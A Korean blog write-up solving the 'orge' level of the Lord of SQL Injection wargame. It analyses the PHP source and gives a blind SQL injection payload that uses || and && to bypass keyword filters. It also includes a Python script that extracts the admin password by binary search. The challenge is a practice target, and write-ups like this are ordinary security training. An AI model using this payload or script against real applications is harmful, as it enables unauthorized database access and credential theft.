Notice
Recent Posts
Recent Comments
Link
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | ||||||
2 | 3 | 4 | 5 | 6 | 7 | 8 |
9 | 10 | 11 | 12 | 13 | 14 | 15 |
16 | 17 | 18 | 19 | 20 | 21 | 22 |
23 | 24 | 25 | 26 | 27 | 28 |
Tags
- blind sql injection
- sql injection point
- 게시판 만들기
- Reflected Xss
- csrf
- MySQL
- Cross Site Request Forgery
- JWT
- 로그인
- file upload
- Error based sql injection
- Los
- XSS
- union sql injection
- 세션
- css
- 웹개발
- php
- Python
- sql injection
- CTF
- 과제
- cookie 탈취
- 쿠키
- JS
- lord of sqli
- 모의해킹
- cors
- lord of sql injection
- 로그인페이지
Archives
- Today
- Total
Almon Dev
[Lord of SQL Injection] orge 풀이 본문
LOS 풀이
orge
풀이
1. 코드 분석
GET 메서드의 pw와 쿼리 결과의 pw가 일치하면 문제가 풀립니다.
그렇다면 admin 계정의 실제 비밀번호를 알아야 풀 수 있는것 같습니다.
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_orge where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orge");
이번에도 or 과 and를 필터링 하기 때문에 || 와 &&를 활용해야 합니다.
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe");
이번 문제는 쿼리가 두 번인데 첫 번재 쿼리에서 결과가 있는 경우 id를 화면에 출력합니다.
참과 거짓을 이용해서 blind sql injection이 가능합니다.
$query = "select id from prob_orge where id='guest' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
2. 쿼리 삽입
blind sql injection을 위한 기본 format을 생성합니다.
and 와 or 을 &&와 ||으로 대체한 것을 제외하고는 orc 문제와 동일합니다
' || (ascii(substring((pw), index, 1)) > ascii) && id = 'admin
format을 이용하는 python 코드를 만듭니다.
import requests
def sqli_request(session, url, index, ascii):
params = {
'pw' : f"' || (ascii(substring((pw), {index}, 1)) > {ascii}) && id = 'admin"
}
response = session.get(url, params=params, proxies=proxies)
# print(params)
# print(response.text)
if "Hello admin" in response.text:
return True
else:
return False
url = "https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php"
login_url = "https://los.rubiya.kr/?login"
session = requests.Session()
session_id = requests.post(login_url, {
'id' : '아이디',
'pw' : '비밀번호',
}, allow_redirects=False).cookies.get_dict()['PHPSESSID']
# print(session_id)
session.cookies.set('PHPSESSID', session_id)
sql_result = ""
proxies = {
"http": "http://localhost:8080"
}
index = 1
while True:
left = 0
right = 127
if not sqli_request(session, url, index, 0):
sql_result = ""
print("\n")
break
while True:
mid = (left + right) // 2
if sqli_request(session, url, index, mid):
left = mid + 1
else:
right = mid
if left == right:
index += 1
sql_result += chr(left)
print(f"\rData : {sql_result}", end="")
break
'모의해킹 > Lord of SQLi' 카테고리의 다른 글
[Lord of SQL Injection] vampire 풀이 (0) | 2025.01.06 |
---|---|
[Lord of SQL Injection] troll 풀이 (1) | 2025.01.06 |
[Lord of SQL Injection] darkelf 풀이 (0) | 2025.01.06 |
[Lord of SQL Injection] wolfman 풀이 (0) | 2025.01.06 |
[Lord of SQL Injection] orc 풀이 (0) | 2025.01.06 |